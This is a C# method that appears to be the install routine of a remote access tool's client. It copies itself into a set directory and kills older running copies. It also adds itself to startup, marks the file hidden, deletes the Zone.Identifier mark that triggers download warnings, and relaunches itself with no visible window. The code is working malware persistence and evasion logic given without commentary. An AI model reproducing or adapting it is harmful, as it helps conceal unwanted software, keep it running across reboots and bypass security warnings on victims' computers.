public static void Install(Client client)
{
bool isKilled = false;
// create target dir
if (!Directory.Exists(Path.Combine(Settings.DIRECTORY, Settings.SUBDIRECTORY)))
{
try
{
Directory.CreateDirectory(Path.Combine(Settings.DIRECTORY, Settings.SUBDIRECTORY));
}
catch (Exception)
{
return;
}
}
// delete existing file
if (File.Exists(ClientData.InstallPath))
{
try
{
File.Delete(ClientData.InstallPath);
}
catch (Exception ex)
{
if (ex is IOException || ex is UnauthorizedAccessException)
{
// kill old process if new mutex
Process[] foundProcesses =
Process.GetProcessesByName(Path.GetFileNameWithoutExtension(ClientData.InstallPath));
int myPid = Process.GetCurrentProcess().Id;
foreach (var prc in foundProcesses)
{
if (prc.Id == myPid)
{
continue;
}
prc.Kill();
isKilled = true;
}
}
}
}
if (isKilled)
{
Thread.Sleep(5000);
}
//copy client to target dir
try
{
File.Copy(ClientData.CurrentPath, ClientData.InstallPath, true);
}
catch (Exception)
{
return;
}
if (Settings.STARTUP)
{
if (!Startup.AddToStartup())
{
ClientData.AddToStartupFailed = true;
}
}
if (Settings.HIDEFILE)
{
try
{
File.SetAttributes(ClientData.InstallPath, FileAttributes.Hidden);
}
catch (Exception)
{
}
}
FileHelper.DeleteZoneIdentifier(ClientData.InstallPath);
//start file
var startInfo = new ProcessStartInfo
{
WindowStyle = ProcessWindowStyle.Hidden,
CreateNoWindow = true,
UseShellExecute = false,
FileName = ClientData.InstallPath
};
try
{
Process.Start(startInfo);
}
catch (Exception)
{
}
}
